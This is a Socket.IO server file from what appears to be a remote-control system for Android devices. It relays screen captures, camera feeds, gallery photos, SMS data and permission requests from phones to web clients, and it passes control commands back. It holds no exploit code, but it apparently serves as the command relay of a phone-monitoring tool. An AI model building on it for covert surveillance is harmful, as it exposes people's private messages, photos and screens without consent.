Files
server/src/server.ts
wdvipa 450367dea2 111
2026-02-09 16:34:01 +08:00

320 lines
11 KiB
TypeScript
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import express from 'express';
import http from 'http';
import cors from 'cors';
import { Server } from 'socket.io';
import DeviceManager from './managers/DeviceManager';
import WebClientManager from './managers/WebClientManager';
import { DatabaseService } from './services/DatabaseService';
import MessageRouter from './services/MessageRouter';
import Logger from './utils/Logger';
const app = express();
const server = http.createServer(app);
const logger = new Logger('Server');
// CORS配置
app.use(cors({
origin: "*",
methods: ["GET", "POST"],
credentials: true
}));
app.use(express.json());
// ✅ Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
const io = new Server(server, {
cors: {
origin: "*",
methods: ["GET", "POST"],
credentials: true
},
// 🔧 心跳机制优化v4已解决心跳方向问题
pingInterval: 25000, // 25秒发送一次ping服务器->客户端)
pingTimeout: 60000, // 60秒等待pong响应
upgradeTimeout: 30000, // 30秒传输升级超时
// 🔧 传输优化
transports: ['websocket', 'polling'],
allowEIO3: false, // 不支持旧版本协议
// 🔧 缓冲区和数据包优化
maxHttpBufferSize: 10e6, // 10MB缓冲区
allowUpgrades: true,
// 🔧 连接管理
connectTimeout: 45000, // 连接超时
serveClient: false, // 不提供客户端文件
// 🔧 Engine.IO 配置
cookie: {
name: "io",
httpOnly: true,
sameSite: "strict"
}
});
// 管理器初始化
const databaseService = new DatabaseService();
const deviceManager = new DeviceManager();
const webClientManager = new WebClientManager(databaseService);
const messageRouter = new MessageRouter(deviceManager, webClientManager, databaseService);
// 设置Socket.IO实例
webClientManager.setSocketIO(io);
// 健康检查端点
app.get('/health', (req, res) => {
const stats = {
status: 'ok',
timestamp: new Date().toISOString(),
devices: deviceManager.getDeviceCount(),
webClients: webClientManager.getClientCount(),
uptime: process.uptime()
};
res.json(stats);
});
// Socket.IO连接处理
io.on('connection', (socket) => {
logger.info(`🔌 新连接: ${socket.id} (IP: ${socket.handshake.address})`);
// 连接质量监控
const connectionStart = Date.now();
// 设备注册事件
socket.on('device_register', (deviceInfo) => {
logger.info(`📱 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
const device: any = {
id: deviceInfo.deviceId,
socketId: socket.id,
name: deviceInfo.deviceName,
model: deviceInfo.deviceModel,
osVersion: deviceInfo.osVersion,
appVersion: deviceInfo.appVersion,
screenWidth: deviceInfo.screenWidth,
screenHeight: deviceInfo.screenHeight,
capabilities: deviceInfo.capabilities,
connectedAt: new Date(),
lastSeen: new Date(),
status: 'online' as const
};
deviceManager.addDevice(device);
databaseService.saveDevice(deviceInfo, socket.id);
// 通知所有Web客户端有新设备连接
const activeWebClients = Array.from(webClientManager.getAllClients()).filter(client => {
const socket = io.sockets.sockets.get(client.socketId);
return socket && socket.connected;
}).length;
logger.info(`📢 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
webClientManager.broadcastToAll('device_connected', {
device: deviceManager.getDevice(deviceInfo.deviceId)
});
// ui_hierarchy_response监听器已在全局设置无需重复添加
});
// Web客户端注册事件
socket.on('web_client_register', (clientInfo) => {
logger.info(`🌐 Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
const clientData = {
id: socket.id,
socketId: socket.id,
userAgent: clientInfo.userAgent || 'unknown',
ip: socket.handshake.address || 'unknown',
connectedAt: new Date(),
lastSeen: new Date()
};
webClientManager.addClient(clientData);
// 发送当前设备列表
const devices = deviceManager.getAllDevices();
socket.emit('device_list', devices);
});
// 屏幕数据路由
socket.on('screen_data', (data) => {
messageRouter.routeScreenData(socket.id, data);
});
// 摄像头数据路由
socket.on('camera_data', (data) => {
messageRouter.routeCameraData(socket.id, data);
});
// 相册图片数据路由
socket.on('gallery_image', (data) => {
messageRouter.routeGalleryImage(socket.id, data);
});
// 短信数据路由
socket.on('sms_data', (data) => {
messageRouter.routeSmsData(socket.id, data);
});
// 控制命令路由
socket.on('control_command', (message) => {
messageRouter.routeControlMessage(socket.id, message);
});
// 摄像头控制命令路由
socket.on('camera_control', (message) => {
// 将摄像头控制消息转换为标准控制消息格式
const controlMessage = {
type: message.action, // CAMERA_START, CAMERA_STOP, CAMERA_SWITCH
deviceId: message.deviceId,
data: message.data || {},
timestamp: Date.now()
};
messageRouter.routeControlMessage(socket.id, controlMessage);
});
// 测试连接监听器
socket.on('CONNECTION_TEST', (data) => {
logger.info(`🧪🧪🧪 收到连接测试: ${JSON.stringify(data)}`);
// 🔧 修复回复确认消息给Android端避免心跳失败累积
try {
socket.emit('CONNECTION_TEST_RESPONSE', {
success: true,
timestamp: Date.now(),
receivedData: data
});
logger.debug(`✅ 已回复CONNECTION_TEST确认消息`);
} catch (error) {
logger.error(`❌ 回复CONNECTION_TEST失败:`, error);
}
});
// 简单测试事件监听器
socket.on('SIMPLE_TEST_EVENT', (data) => {
logger.info(`🧪🧪🧪 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
});
// 调试UI响应前的测试消息
socket.on('debug_test_before_ui', (data) => {
logger.info(`🧪🧪🧪 收到UI响应前调试测试!!! Socket: ${socket.id}`);
logger.info(`🧪 测试数据: ${JSON.stringify(data)}`);
});
// 简单测试消息监听器
socket.on('simple_test', (data) => {
logger.info(`🧪🧪🧪 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
});
// UI层次结构响应 (设备端响应)
socket.on('ui_hierarchy_response', (data) => {
logger.info(`📱📱📱 [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
logger.info(`📋 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
logger.info(`📋 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
// ✅ 参考screen_data的处理方式直接调用专用路由方法
const routeResult = messageRouter.routeUIHierarchyResponse(socket.id, data);
logger.info(`📤 UI层次结构路由结果: ${routeResult}`);
});
// 设备控制请求
socket.on('request_device_control', (data) => {
const result = webClientManager.requestDeviceControl(socket.id, data.deviceId);
socket.emit('device_control_response', {
success: result.success,
message: result.message,
deviceId: data.deviceId
});
});
// 释放设备控制
socket.on('release_device_control', (data) => {
const released = webClientManager.releaseDeviceControl(data.deviceId);
if (released) {
socket.emit('device_control_released', { deviceId: data.deviceId });
}
});
// 客户端事件路由
socket.on('client_event', (eventData) => {
logger.info(`收到客户端事件: ${JSON.stringify(eventData)}`);
messageRouter.routeClientEvent(socket.id, eventData.type, eventData.data);
});
// 🆕 权限申请响应(设备端响应)
socket.on('permission_response', (data) => {
logger.info(`📱 收到设备权限申请响应: Socket: ${socket.id}`);
logger.info(`📋 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
// 路由权限申请响应
const routeResult = messageRouter.routePermissionResponse(socket.id, data);
logger.info(`📤 权限申请响应路由结果: ${routeResult}`);
});
// 调试:捕获所有未处理的事件
const originalEmit = socket.emit;
const originalOn = socket.on;
// 记录所有接收到的事件
socket.onAny((eventName, ...args) => {
if (!['connect', 'disconnect', 'screen_data', 'device_register', 'web_client_register', 'control_command', 'client_event'].includes(eventName)) {
logger.info(`🔍 收到未知事件: ${eventName}, 数据: ${JSON.stringify(args).substring(0, 100)}...`);
}
// 特别关注UI层次结构响应
if (eventName === 'ui_hierarchy_response') {
logger.info(`📱📱📱 收到UI层次结构响应!!! 事件名: ${eventName}`);
logger.info(`📋 响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
}
});
socket.on('disconnect', (reason) => {
const duration = Math.round((Date.now() - connectionStart) / 1000);
const quality = duration > 300 ? 'excellent' : duration > 60 ? 'good' : duration > 30 ? 'fair' : 'poor';
logger.info(`📴 连接断开: ${socket.id}, 原因: ${reason}, 持续时间: ${duration}秒, 质量: ${quality}`);
// 更新数据库中的断开连接记录
databaseService.updateDisconnection(socket.id);
// 移除设备或Web客户端
const device = deviceManager.getDeviceBySocketId(socket.id);
if (device) {
logger.info(`📱 设备断开: ${device.name} (${device.id})`);
deviceManager.removeDevice(device.id);
// 通知所有Web客户端设备已断开
webClientManager.broadcastToAll('device_disconnected', {
deviceId: device.id
});
} else {
// 可能是Web客户端断开
const clientRemoved = webClientManager.removeClientBySocketId(socket.id);
if (clientRemoved) {
logger.info(`🌐 Web客户端断开: ${socket.id}`);
}
}
});
});
// 全局错误处理
process.on('unhandledRejection', (reason, promise) => {
logger.error('未处理的Promise拒绝:', reason);
});
process.on('uncaughtException', (error) => {
logger.error('未捕获的异常:', error);
process.exit(1);
});
const PORT = process.env.PORT || 3000;
server.listen(PORT, () => {
logger.info(`🚀 服务器启动在端口 ${PORT}`);
logger.info(`📊 健康检查: http://localhost:${PORT}/health`);
logger.info(`🔧 Socket.IO v4配置已优化 - 心跳: ${25000}ms/${60000}ms`);
});
export default server;